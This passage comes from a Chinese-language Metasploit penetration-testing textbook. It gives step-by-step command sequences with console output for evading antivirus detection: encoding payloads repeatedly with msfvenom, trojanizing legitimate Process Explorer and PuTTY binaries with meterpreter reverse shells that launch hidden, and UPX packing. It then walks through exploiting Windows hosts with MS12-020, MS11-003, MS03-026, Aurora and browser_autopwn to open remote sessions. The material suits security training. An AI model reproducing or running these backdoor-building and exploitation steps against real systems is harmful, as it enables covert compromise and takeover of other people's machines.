x86/alpha_upper chosen with final size 2075

Payload size: 2075 bytes

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 2104 (iteration=0)

x86/shikata_ga_nai succeeded with size 2133 (iteration=1)

x86/shikata_ga_nai succeeded with size 2162 (iteration=2)

x86/shikata_ga_nai succeeded with size 2191 (iteration=3)

x86/shikata_ga_nai succeeded with size 2220 (iteration=4)

x86/shikata_ga_nai chosen with final size 2220

Payload size: 2220 bytes

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/countdown

x86/countdown succeeded with size 2238 (iteration=0)

x86/countdown succeeded with size 2256 (iteration=1)

x86/countdown succeeded with size 2274 (iteration=2)

x86/countdown succeeded with size 2292 (iteration=3)

x86/countdown succeeded with size 2310 (iteration=4)

x86/countdown chosen with final size 2310

Payload size: 2310 bytes

Saved as: /root/payload.exe




 
以上输出信息显示了对攻击载荷进行编码的过程。这里先使用了5次shikata_ga_nai编码，然后将编码后的原始数据再进行2次alpha_upper编码，接着再进行5次shikata_ga_nai编码，最后再进行5次countdown编码。从显示的信息中可以看到，为了进行免杀处理，这里对攻击载荷一共进行了17次编码。此时，用户将该攻击载荷发送到目标主机，将发现该攻击载荷不会被杀毒软件检测到。为了验证是否成功实现免杀，用户可以使用自己的杀毒软件对该文件实施扫描。如果该文件成功实现免杀，将不会被探测到。本例中的扫描结果如图5.13所示。
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图5.13　使用AVG的扫描报告
 
从显示的信息中可以看到，没有发现任何恶意程序。由此说明成功实现了免杀处理。接下来，用户在攻击主机创建监听时，等待该攻击载荷建立连接会话连接即可。在后面的操作中，用户可以使用同样的方法来验证是否已实现免杀处理。
5.3.2　自定义可执行文件模板
 
通常情况下，运行msfvenom命令时，攻击载荷被嵌入式到默认的可执行文件模板中。Kali Linux系统的默认模板文件位于data/msfpayload/template.exe下。虽然这个模板文件有时会更新，但它永远是杀毒软件厂商在创建病毒库时的终端关注对象。恰好，msfvenom命令支持使用-x选项使用任意的Windows可执行程序来代替默认模板文件。下面介绍使用自定义可执行文件模板来实现免杀技术的方法。
 
【实例5-12】通过自定义可执行文件模板来实现免杀技术。具体操作步骤如下：
 
（1）本例中选择将微软Sysinternals套件中的Process Explorer程序作为自定义的可执行程序模板，来创建攻击载荷。首先下载可执行的模板程序文件，执行命令如下：
 


root@kali:~# wget https://live.sysinternals.com/Files/ProcessExplorer.zip

--2017-05-07 14:34:25--  https://live.sysinternals.com/Files/Process

Explorer.zip

正在解析主机 live.sysinternals.com (live.sysinternals.com)... 191.236.128.229

正在连接 live.sysinternals.com (live.sysinternals.com)|191.236.128.229|:

443... 已连接。

已发出 HTTP 请求，正在等待回应... 200 OK

长度：1270466 (1.2M) [application/x-zip-compressed]

正在保存至: “ProcessExplorer.zip”

ProcessExplorer.zip  100%[===================>]  1.21M  35.4KB/s in 23s  

2017-05-07 14:34:50 (54.4 KB/s) - 已保存 “ProcessExplorer.zip” 

[1270466/1270466])




 
从输出的信息中可以看到，已成功下载并保存了ProcessExplorer.zip文件。
 
（2）解压可执行程序文件。执行命令如下：
 


root@kali:~# mkdir work

root@kali:~# unzip ProcessExplorer.zip -d work/

Archive:  ProcessExplorer.zip

  inflating: work/procexp.exe        

  inflating: work/procexp.chm        

  inflating: work/Eula.txt           




 
从以上输出的信息中可以看到解压出了一个可执行文件procexp.exe。
 
（3）指定下载的Process Explorer二进制文件作为自定义模板。执行命令如下：
 


root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -x work/procexp.

exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -o 

/root/backdoor.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the 

payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 360 (iteration=0)

x86/shikata_ga_nai succeeded with size 387 (iteration=1)

x86/shikata_ga_nai succeeded with size 414 (iteration=2)

x86/shikata_ga_nai succeeded with size 441 (iteration=3)

x86/shikata_ga_nai succeeded with size 468 (iteration=4)

x86/shikata_ga_nai chosen with final size 468

Payload size: 468 bytes

Saved as: /root/backdoor.exe




 
从以上输出信息中可以看到，已成功创建了攻击载荷backdoor.exe。
5.3.3　隐秘启动一个攻击载荷
 
在大多数情况下，当被攻击的用户运行类似前面生成的这种包含后门的可执行文件时，如果什么都没有发生，可能会引起用户的怀疑。为了避免被目标察觉，渗透测试者可以在启动攻击载荷的同时，让宿主程序也正常运行起来。下面介绍隐秘地启动一个攻击载荷的方法。
 
【实例5-13】隐秘地启动攻击载荷。具体操作步骤如下：
 
（1）本例中选择Windows环境下的SSH客户端PuTTY程序，使攻击载荷隐秘地启动。首先下载PuTTY程序，执行命令如下：
 


root@kali:~# wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

--2017-05-07 15:14:34--  http://the.earth.li/~sgtatham/putty/latest/x86/

putty.exe

正在解析主机 the.earth.li (the.earth.li)... 46.43.34.31, 2001:41c8:10:b1f:

c0ff:ee:15:900d

正在连接 the.earth.li (the.earth.li)|46.43.34.31|:80... 已连接。

已发出 HTTP 请求，正在等待回应... 302 Found

位置：http://the.earth.li/~sgtatham/putty/0.67/x86/putty.exe [跟随至新的 URL]

--2017-05-07 15:14:35--  http://the.earth.li/~sgtatham/putty/0.67/x86/

putty.exe

再次使用存在的到 the.earth.li:80 的连接。

已发出 HTTP 请求，正在等待回应... 200 OK

长度：531368 (519K) [application/x-msdos-program]

正在保存至: “putty.exe”

putty.exe             100%[==================>] 518.91K   122KB/s    in 4.2s    

2017-05-07 15:14:39 (122 KB/s) - 已保存 “putty.exe” [531368/531368])




 
从输出的信息中看到，已成功下载了PuTTY程序，并且保存该程序的可执行文件为putty.exe。
 
（2）使用msfvenom的-k选项来处理PuTTY程序。该选项会配置攻击载荷在一个独立的线程中启动，这样宿主程序在执行时将不会受影响。执行命令如下：
 


root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -x /root/

putty.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 

-k -o /root/putty_backdoor.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the 

payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 360 (iteration=0)

x86/shikata_ga_nai succeeded with size 387 (iteration=1)

x86/shikata_ga_nai succeeded with size 414 (iteration=2)

x86/shikata_ga_nai succeeded with size 441 (iteration=3)

x86/shikata_ga_nai succeeded with size 468 (iteration=4)

x86/shikata_ga_nai chosen with final size 468

Payload size: 468 bytes

Saved as: /root/putty_backdoor.exe




 
从输出信息看到，成功创建了一个putty_backdoor.exe攻击载荷。这样，当用户运行该攻击载荷时，将会启动PuTTY程序。
 
[image: ]提示：-k选项不一定能用在所有的可执行程序上，在实际攻击前请确保你已经在实验环境中进行了测试。
 
如果想要将攻击载荷嵌入到可执行文件中，而且没有使用-k选项，那么最好使用图形界面的应用程序。因为如果使用了一个命令行应用程序，当攻击载荷启动后，它会在目标主机桌面上显示一个命令行窗口，这个窗口直到攻击载荷使用完毕才会消失。而如果使用图形界面应用程序，即使没有使用-k参数，攻击载荷启动后也不会留下任何其他窗口。请注意这些小细节，将有助于使渗透者保持隐秘的状态。
5.3.4　加壳软件
 
加壳软件是一类能够对可执行文件进行加密压缩并将解压代码嵌入其中的工具。当加过壳的文件被执行后，解压代码会从已压缩的数据中重建原始程序并运行。这些程序对用户是透明的，所以加壳后的程序可以代替原始程序使用。加壳后，可执行文件更小，而功能与原来的文件一样。
 
同MSF编码器一样，加壳软件也可以改变可执行文件的结构。然后，MSF编码器通常会增加可执行文件的大小，而精心挑选的加壳软件会使用不同的算法，一方面对可执行文件进行加密；另一方面还能对其体积进行压缩。下面将使用在Kali中最受欢迎的UPX加壳软件对前面创建的攻击载荷文件payload.exe进行编码和压缩，以尝试对该文件进行免杀处理。
 
【实例5-14】使用UPX工具对可执行文件payload.exe文件进行压缩并加壳。在Kali Linux中，默认已经安装了该工具。如果没有安装的话，执行如下命令安装：
 


root@kali:~# apt-get install upx




 
在使用该工具之前，可以首先查看下它的可用选项，以便在后面使用。具体如下：
 


root@kali:~# upx

                       Ultimate Packer for eXecutables

                          Copyright (C) 1996 - 2018

UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2018

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:

  -1     compress faster                   -9      compress better

  -d     decompress                     -l        list compressed file

  -t     test compressed file             -V        display version number

  -h     give more help                  -L        display software license

Options:

  -q     be quiet                         -v    be verbose

  -oFILE write output to 'FILE'

  -f     force compression of suspicious files

  -k     keep backup files

file..   executables to (de)compress

Type 'upx --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit http://upx.sf.net




 
在以上信息中，显示了UPX工具的语法及可用的选项和含义。例如，这里使用-5选项对可执行文件进行压缩并加壳。执行命令如下：
 


root@kali:~# upx -5 payload.exe -q

    File size         Ratio      Format       Name

   -----------       ------     -------      --------

     73802 ->         48128       65.21%    win32/pe     payload.exe     

Packed 1 file.




 
从以上显示的信息中可用看到，UPX将可执行文件的体积压缩了65.21%。
第6章　漏洞利用
 
漏洞利用是获得系统控制权限的重要途径。用户从目标系统中找到容易攻击的漏洞，然后利用该漏洞获取权限，从而实现对目标系统的控制。前几章对Metasploit的安装进行了详细的介绍，接下来，使用Metasploit框架中的模块，利用目标主机中存在的漏洞实施渗透攻击。本章将分别针对不同的操作系统，介绍一些常见的漏洞利用渗透攻击实例。
6.1　Windows系统
 
Microsoft Windows系统是最常见的一种操作系统。随着计算机硬件和软件的不断升级，微软的Windows也在不断升级，从架构的16位、32位再到64位，系统版本从最初的Windows 1.0到现在已经发展到Windows 10。目前，对于一些服务器来说，通常使用Windows 2000/2003/2008操作系统，如果是普通用户，通常会使用Windows XP/7/8/10。但是在这些操作系统中存在各种漏洞，如果用户没有及时修复这些漏洞，渗透测试者就可能会利用存在的漏洞实施渗透攻击。本节将介绍Windows系统中的漏洞利用渗透实例。
6.1.1　Microsoft Windows远程溢出漏洞——CVE-2012-0002
 
Microsoft Windows是一款流行的操作系统。CVE-2012-0002漏洞源于没有正确处理内存中的数据包。远程攻击者可通过发送特制RDP报文，来访问未初始化或未删除的对象来触发此漏洞。成功利用该漏洞后，可以在目标系统上执行任意代码，并以管理员权限安装程序，查看、更改、删除数据，或创建新账户。受该漏洞影响的系统如下：
 
·Microsoft Windows XP；

·Microsoft Windows Vista；

·Microsoft Windows Server 2008；

·Microsoft Windows Server 2003；

·Microsoft Windows 7。
 
【实例6-1】演示在Windows XP SP1上利用该漏洞实施渗透攻击。其中，目标主机的IP地址为192.168.1.106。具体操作步骤如下：
 
（1）使用search命令搜索CVE-2012-0002漏洞的完整路径。执行命令如下：
 


msf5 > search CVE-2012-0002

Matching Modules

================

   Name                Disclosure Date       Rank       Check Description

   --------------    ---------------      -----      ---------------------

   auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16  normal 

   No MS12-020 Microsoft Remote Desktop Use-After-Free DoS

   auxiliary/scanner/rdp/ms12_020_check                               normal 

   Yes MS12-020 Microsoft Remote Desktop Checker




 
从输出的信息中可以看到，已搜索到两个可用于利用该漏洞的攻击模块。其中，第一个攻击模块可使目标造成拒绝服务攻击，第二个漏洞仅用于扫描检测。所以，这里选择第一个攻击模块实施渗透攻击。
 
（2）选择渗透攻击模块，并查看该模块的配置选项参数。具体如下：
 


msf5 > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

msf5 auxiliary(ms12_020_maxchannelids) > show options 

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

   Name   Current Setting  Required  Description

   ----     ---------------  --------    --------------

   RHOSTS                 yes       The target address range or CIDR identifier

   RPORT  3389           yes       The target port (TCP)




 
从输出的信息中可以看到，该模块有两个配置选项参数。默认已经配置了目标端口，所以接下来配置RHOST选项来指定目标即可。
 
（3）为dos/windows/rdp/ms12_020_maxchannelids模块配置选项参数。执行命令如下：
 


msf5 auxiliary(ms12_020_maxchannelids) > set RHOSTS 192.168.1.106

RHOST => 192.168.1.106




 
（4）实施渗透攻击。执行命令如下：
 


msf5 auxiliary(ms12_020_maxchannelids) > exploit 

[*] 192.168.1.106:3389 - Sending MS12-020 Microsoft Remote Desktop 

Use-After-Free DoS

[*] 192.168.1.106:3389 - 210 bytes sent

[*] 192.168.1.106:3389 - Checking RDP status...

[+] 192.168.1.106:3389 seems down

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，已成功对目标主机发起攻击。此时将会看到目标主机出现蓝屏，并且会自动重新启动系统，如图6.1所示。
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图6.1　目标主机出现蓝屏
 
（5）看到目标主机出现蓝屏现象，表示已成功对目标实施了拒绝服务攻击。
6.1.2　MS11-003（CVE-2001-0036）漏洞
 
MS11-003（CVE-2001-0036）漏洞利用Internet Explorer（包括IE6、IE7、IE8）对CSS的解析存在的一个问题，使任何访问包含非法CSS的页面导致IE崩溃重启。也就是说，当用户浏览一个特制的网页或者加载了一个非法的CSS的网页时，渗透测试者便可以获得与本地用户相同的用户权限。下面介绍利用MS11-003漏洞实施渗透攻击的方法。
 
【实例6-2】利用MS11-003漏洞对目标主机Windows 7实施渗透攻击。具体操作步骤如下：
 
（1）查看针对MS11-003漏洞模块的完整路径。执行命令如下：
 


msf5 > search MS11-003

Matching Modules

================

   Name       Disclosure Date      Rank    Check     Description

   -------    ---------------      ----    -----    -------------

   exploit    2010-11-29           good    No         MS11-003 Microsoft Internet

  /windows/browser/                            Explorer CSS Recursive Import 

  ms11_003_ie_css_import                        Use After Free




 
从输出信息中可以看到，利用MS11-003漏洞实施攻击的模块名称为windows/browser/ms11_003_ie_css_import。
 
（2）使用windows/browser/ms11_003_ie_css_import模块实施渗透攻击，并且查看该模块的选项参数。执行命令如下：
 


msf5 > use exploit/windows/browser/ms11_003_ie_css_import 

msf5 exploit(ms11_003_ie_css_import) > show options 

Module options (exploit/windows/browser/ms11_003_ie_css_import):

   Name     Current Setting  Required   Description

   -----    ------------     ---------  ------------

   OBFUSCATE   true           no        Enable JavaScript obfuscation

   SRVHOST     0.0.0.0        yes       The local host to listen on. This must 

   be an address on the local machine or 0.0.0.0

   SRVPORT     8080               yes       The local port to listen on.

   SSL          false          no        Negotiate SSL for incoming connections

   SSLCert                      no        Path to a custom SSL certificate 

   (default is randomly generated)

   URIPATH                        no        The URI to use for this exploit 

   (default is random)

Exploit target:

   Id  Name

   --  -----------------

   0   Automatic




 
从输出的信息中可以看到所有的配置选项参数。接下来，配置SRVHOST选项来指定监听地址。
 
（3）配置选项参数SRVHOST。执行命令如下：
 


msf5 exploit(ms11_003_ie_css_import) > set SRVHOST 192.168.1.105

SRVHOST => 192.168.1.105




 
（4）实施攻击。执行命令如下：
 


msf5 exploit(ms11_003_ie_css_import) > exploit 

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.105:4444 

[*] Using URL: http://192.168.1.105:8080/uvCjRD

[*] Server started.




 
看到以上输出信息，说明已成功启动了渗透攻击。接下来，只要使目标主机在浏览器中访问http://192.168.1.105:8080/uvCjRD网址，目标主机即会被攻击，其将自动与攻击主机建立Meterpreter会话连接。具体如下：
 


msf5 exploit(ms11_003_ie_css_import) > [*] Received request for "/uvCjRD"

[*] Sending redirect

[*] Received request for "/uvCjRD/BTbkA6a.html"

[*] Sending HTML

[*] Received request for "/uvCjRD/generic-1464069658.dll"

[*] Sending .NET DLL

[*] Received request for "/uvCjRD/\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\

xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A"

[*] Sending CSS

[*] Sending stage (957999 bytes) to 192.168.1.103

[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.103:50047) 

at 2017-05-07 14:01:01 +0800

[*] Session ID 1 (192.168.1.105:4444 -> 192.168.1.103:50047) processing 

InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (5704)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 4880

[*] Received request for "/uvCjRD/BTbkA6a.html"

[*] Sending HTML

[*] Received request for "/uvCjRD/generic-1464069668.dll"

[*] Sending .NET DLL

[*] Sending stage (957999 bytes) to 192.168.1.103

[+] Successfully migrated to process 

[*] Meterpreter session 2 opened (192.168.1.105:4444 -> 192.168.1.103:50051) 

at 2017-05-07 14:01:12 +0800

[*] Session ID 2 (192.168.1.105:4444 -> 192.168.1.103:50051) processing 

InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (5740)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 6052

[*] Received request for "/uvCjRD/generic-1464069668.dll"

[*] Sending .NET DLL

[*] Sending stage (957999 bytes) to 192.168.1.103

[+] Successfully migrated to process 

[*] Meterpreter session 3 opened (192.168.1.105:4444 -> 192.168.1.103:50053) 

at 2017-05-07 14:01:21 +0800

[*] Session ID 3 (192.168.1.105:4444 -> 192.168.1.103:50053) processing 

InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (1888)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 4180

[+] Successfully migrated to process




 
从输出的信息中可以看到，攻击主机与目标主机之间成功建立了3个Meterpreter会话。为了确认是否成功建立了这3个会话，可以执行sessions命令查看：
 


msf5 exploit(ms11_003_ie_css_import) > sessions 

Active sessions

===============

  Id  Type                   Information                          Connection

  --  ------                 -------------                      -------------

  1    meterpreterx86/win32  WIN-RKPKQFBLG6C\Administrator @ WIN-RKPKQFBLG6C  

  192.168.1.105:4444 -> 192.168.1.103:50047 (192.168.1.103)

  2    meterpreterx86/win32  WIN-RKPKQFBLG6C\Administrator @ WIN-RKPKQFBLG6C  

  192.168.1.105:4444 -> 192.168.1.103:50051 (192.168.1.103)

  3    meterpreterx86/win32  WIN-RKPKQFBLG6C\Administrator @ WIN-RKPKQFBLG6C  

  192.168.1.105:4444 -> 192.168.1.103:50053 (192.168.1.103)




 
从输出的信息中可以看到成功建立的会话。此时，用户使用sessions-i选项可以激活任意一个会话，然后进一步对目标主机渗透攻击。例如，激活第一个会话，执行命令如下：
 


msf5 exploit(ms11_003_ie_css_import) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >




 
从命令行提示符meterpreter>可以看到，成功打开了第一个Meterpreter会话。这时即可运行Meterpreter终端下的所有命令或脚本。例如，查看系统运行的平台，具体如下：
 


meterpreter > sysinfo 

Computer          : WIN-RKPKQFBLG6C                            #计算机名称

OS                : Windows 7 (Build 7601, Service Pack 1).        #操作系统类型

Architecture        : x86                                        #架构

System Language    : zh_CN                                        #系统语言

Domain             : WORKGROUP                                    #域名

Logged On Users     : 4                                            #登录用户数

Meterpreter         : x86/win32




 
从输出的信息中可以看到目标主机的计算机名称、操作系统版本、架构和语言等信息。
6.1.3　MS03-026（CVE-2003-0352）漏洞
 
MS03-026漏洞，即Microsoft DCOM RPC接口长主机名远程缓冲区溢出漏洞。攻击者可以远程通过访问目标服务器的RPC服务端口无须验证就能利用漏洞，以系统权限执行任意指令，实现对系统的完全控制。下面介绍利用该漏洞对目标主机实施渗透攻击的方法。
 
【实例6-3】演示利用MS03-026漏洞对目标主机Windows 2000 SP4实施渗透攻击。具体操作步骤如下：
 
（1）查找CVE-2003-0352漏洞的全路径。执行命令如下：
 


msf5 > search CVE-2003-0352

Matching Modules

================

   Name                     Disclosure Date      Rank      Check   Description

   ------------           ----------------     ----    ------    -----------

   exploit/windows/dcerpc/ms03_026_dcom  2003-07-16   great  No   MS03-

026 Microsoft RPC DCOM Interface Overflow




 
从输出信息中可以看到，可利用CVE-2003-0352漏洞的攻击模块为windows/dcerpc/ms03_026_dcom。
 
（2）使用windows/dcerpc/ms03_026_dcom渗透攻击模块，并查看该模块的配置选项参数。执行命令如下：
 


msf5 > use exploit/windows/dcerpc/ms03_026_dcom 

msf5 exploit(ms03_026_dcom) > show options 

Module options (exploit/windows/dcerpc/ms03_026_dcom):

   Name        Current Setting   Required   Description

   ------     ----------------  ---------  -------------

   RHOSTS                         yes          The target address range or CIDR 

   identifier

   RPORT       135                  yes          The target port (TCP)

Exploit target:

   Id  Name

   --  -----------------------------------------------------------------

   0   Windows NT SP3-6a/2000/XP/2003 Universal




 
从输出的信息中可以看到，需要配置一个目标地址选项。
 
（3）配置RHOST选项。执行命令如下：
 


msf5 exploit(ms03_026_dcom) > set RHOSTS 192.168.1.103

RHOST => 192.168.1.103




 
（4）启动渗透攻击。执行命令如下：
 


msf5 exploit(ms03_026_dcom) > exploit 

[*] Started reverse TCP handler on 192.168.1.108:4444 

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.

168.1.103[135] ...

[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.

168.1.103[135] ...

[*] Sending exploit ...

[*] Sending stage (957487 bytes) to 192.168.1.103

[*] Meterpreter session 1 opened (192.168.1.108:4444 -> 192.168.1.103:1029) 

at 2017-05-07 17:43:27 +0800

meterpreter >




 
从输出的信息中可以看到，成功建立了一个Meterpreter会话，由此说明对目标主机攻击成功。
6.1.4　IE浏览器的激光漏洞利用
 
渗透测试者可以利用激光漏洞在目标主机上进行网页挂马，进而达到对目标主机的攻击。在IE 6/7/8中都存在激光漏洞，涉及的操作系统包括Windows 2000 SP4、Windows XP/2003/Vista/2008和Windows 7。下面介绍激光漏洞的利用方法。
 
【实例6-4】演示利用IE浏览器的激光漏洞，对目标主机（Windows XP）实施渗透攻击。执行命令如下：
 
（1）选择可利用激光漏洞的渗透攻击模块，即windows/browser/ms10_002_aurora模块。执行命令如下：
 


msf5 > use exploit/windows/browser/ms10_002_aurora

msf exploit(ms10_002_aurora) >




 
（2）选择攻击载荷，并查看模块的配置选项参数。执行命令如下：
 


msf5 exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(ms10_002_aurora) > show options 

Module options (exploit/windows/browser/ms10_002_aurora):

   Name     Current Setting  Required   Description

   -----   ---------------- ---------  -------------

   SRVHOST     0.0.0.0           yes        The local host to listen on. This must 

   be an address on the local machine or 0.0.0.0

   SRVPORT    8080              yes       The local port to listen on.

   SSL        false              no        Negotiate SSL for incoming connections

   SSLCert                         no        Path to a custom SSL certificate 

   (default is randomly generated)

   URIPATH                         no        The URI to use for this exploit 

   (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name    Current Setting   Required     Description

   -----   ---------------  ---------  -------------

   EXITFUNC     process              yes        Exit technique (Accepted: '', seh, 

   thread, process, none)

   LHOST                        yes        The listen address

   LPORT         4444               yes        The listen port

Exploit target:

   Id  Name

   --  ----

   0   Automatic




 
根据以上输出信息，配置需要的选项参数。
 
（3）配置选项参数。执行命令如下：
 


msf5 exploit(ms10_002_aurora) > set SRVPORT 80

SRVPORT => 80

msf5 exploit(ms10_002_aurora) > set URIPATH /

URIPATH => /

msf5 exploit(ms10_002_aurora) > set LHOST 192.168.1.108

LHOST => 192.168.1.108

msf5 exploit(ms10_002_aurora) > set LPORT 443

LPROT => 443




 
（4）启动渗透攻击。执行命令如下：
 


msf5 exploit(ms10_002_aurora) > exploit 

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.108:443 

msf5 exploit(ms10_002_aurora) > [*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.1.108:80/

[*] Server started.




 
看到以上输出信息，则表示已成功启动了攻击。此时，只要在目标主机上使用IE浏览器访问http://192.168.1.108:80/，即可攻击目标。攻击成功后，将显示如下信息：
 


[*] 192.168.1.106    ms10_002_aurora - Sending MS10-002 Microsoft Internet

Explorer "Aurora" Memory Corruption

[*] Sending stage (957487 bytes) to 192.168.1.106

[*] Meterpreter session 1 opened (192.168.1.108:443 -> 192.168.1.106:1175) 

at 2017-05-07 14:10:42 +0800




 
从输出的信息中可以看到，成功打开了一个Meterpreter会话，可以看到目标主机的内存消耗非常严重，如图6.2所示。
 
（5）此时可以通过迁移进程，使目标主机的内存消耗恢复正常。执行命令如下：
 


meterpreter > run migrate -f

[*] Current server process: iexplore.exe (420)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 888

[+] Successfully migrated to process




 
从输出的信息中可以看到，已经成功迁移了进程。这时候会发现目标主机的IE关了，而且内存消耗也正常了。
 
 
 [image: ] 


图6.2　内存使用情况
6.1.5　浏览器自动攻击模块
 
在Metasploit中提供了一个浏览器自动攻击模块browser_autopwn。当用户访问Web页面时，该模块将自动攻击目标主机的浏览器。在实施渗透攻击之前，broswer_autopwn模块能够检测到用户使用的浏览器类型。也就是说，该模块只针对IE浏览器攻击。然后，broswer_autopwn将根据浏览器的检测结果，自行部署最合适的exploit。下面介绍利用broswer_autopwn模块实施浏览器自动攻击的方法。
 
【实例6-5】利用broswer_autopwn模块对目标主机（Windows XP IE6）实施浏览器自动攻击。具体操作步骤如下：
 
（1）搜索broswer_autopwn模块的完整路径。执行命令如下：
 


msf5 > search autopwn

Matching Modules

================

   Name                        Disclosure Date        Rank  Check  Description

   ---------                 ----------------        ----  -----  -----------

   auxiliary/server/browser_autopwn                 normal  No   HTTP 

Client Automatic Exploiter

   auxiliary/server/browser_autopwn2  2015-07-05  normal  No   HTTP 

Client Automatic Exploiter 2 (Browser Autopwn)




 
从输出的信息中可以看到broswer_autopwn模块的完整路径，而且从描述中可以看到该模块用于HTTP客户端（即浏览器）自动利用。
 
（2）选择攻击模块，并加载攻击载荷。执行命令如下：
 


msf5 > use auxiliary/server/browser_autopwn

msf5 auxiliary(browser_autopwn) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp




 
（3）查看并配置模块的选项参数。执行命令如下：
 


msf5 auxiliary(browser_autopwn) > show options 

Module options (auxiliary/server/browser_autopwn):

   Name   Current Setting  Required      Description

   -----  ---------------  ---------    -------------

   LHOST                       yes       The IP address to use for reverse-connect 

   payloads

   SRVHOST    0.0.0.0           yes        The local host to listen on.This must be 

   an address on the local   machine or 0.0.0.0

   SRVPORT    8080           yes       The local port to listen on.

   SSL         false            no        Negotiate SSL for incoming connections

   SSLCert                   no        Path to a custom SSL certificate (default 

   is randomly generated)

   URIPATH                   no        The URI to use for this exploit (default 

   is random)

Auxiliary action:

   Name       Description

   ----       ----------------

   WebServer  Start a bunch of modules and direct clients to appropriate 

   exploits

msf5 auxiliary(browser_autopwn) > set LHOST 192.168.1.108                                                                        #设置攻击主机的地址

LHOST => 192.168.1.108

msf5 auxiliary(browser_autopwn) > set URIPATH /        #设置exploit的URI路径

URIPATH => /




 
在以上过程中，配置了LHOST和URIPATH参数。
 
（4）启动渗透攻击。执行命令如下：
 


msf5 auxiliary(browser_autopwn) > exploit 




 
当启动渗透攻击后，将会输出大量信息。具体如下：
 


[*] Auxiliary module execution completed

[*] Setup

msf auxiliary(browser_autopwn) > 

[*] Starting exploit modules on host 192.168.1.108...

[*] ---

[*] Starting exploit android/browser/webview_addjavascriptinterface with 

payload android/meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:8080/gCMrIGi

[*] Local IP: http://192.168.1.108:8080/gCMrIGi

[*] Server started.

[*] Starting exploit multi/browser/firefox_proto_crmfrequest with payload 

generic/shell_reverse_tcp

[*] Using URL: http://0.0.0.0:8080/JnJExAKYwwPAw

[*] Local IP: http://192.168.1.108:8080/JnJExAKYwwPAw

[*] Server started.

[*] Starting exploit multi/browser/firefox_tostring_console_injection with 

payload generic/shell_reverse_tcp

[*] Using URL: http://0.0.0.0:8080/mTpzYbu

[*] Local IP: http://192.168.1.108:8080/mTpzYbu

[*] Server started.

[*] Starting exploit multi/browser/firefox_webidl_injection with payload 

generic/shell_reverse_tcp

[*] Using URL: http://0.0.0.0:8080/oKZGDjanNKjIG

[*] Local IP: http://192.168.1.108:8080/oKZGDjanNKjIG

[*] Server started.

...

[*] Starting handler for java/meterpreter/reverse_tcp on port 7777

[*] Started reverse TCP handler on 192.168.1.108:6666 

[*] Started reverse TCP handler on 192.168.1.108:7777 

[*] Starting the payload handler...

[*] Starting the payload handler...




 
限于篇幅，中间部分内容省略了。在最后看到以下信息后，则表示渗透攻击启动完成。具体如下：
 


[*] --- Done, found 20 exploit modules 

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.1.108:8080/

[*] Server started.




 
从输出的信息中可以看到，Metasploit模仿了一个网站，网站地址为http://192.168.1.108:8080/。此时，当用户访问该网址时，broswer_autopwn模块尝试连接用户的主机，并试图建立远程会话。具体如下：
 


[*] 192.168.1.109    java_jre17_jmxbean - handling request for /cSihqoYuL/

MHeldoAg.jar

[*] 192.168.1.109    java_atomicreferencearray - Sending jar

[*] Meterpreter session 1 opened (192.168.1.108:7777 -> 192.168.1.109:1088) 

at 2017-05-07 15:47:31 +0800

[*] Sending stage (45718 bytes) to 192.168.1.109

[*] Meterpreter session 2 opened (192.168.1.108:7777 -> 192.168.1.109:1093) 

at 2017-05-07 15:47:31 +0800

[*] Session ID 1 (192.168.1.108:7777 -> 192.168.1.109:1088) processing 

InitialAutoRunScript 'migrate -f'

[*] 192.168.1.109    java_jre17_jmxbean - handling request for /cSihqoYuL/

MHeldoAg.jar

[*] Session ID 2 (192.168.1.108:7777 -> 192.168.1.109:1093) processing 

InitialAutoRunScript 'migrate -f'

[*] Sending stage (45718 bytes) to 192.168.1.109

…

[*] Session ID 4 (192.168.1.108:7777 -> 192.168.1.109:1112) processing 

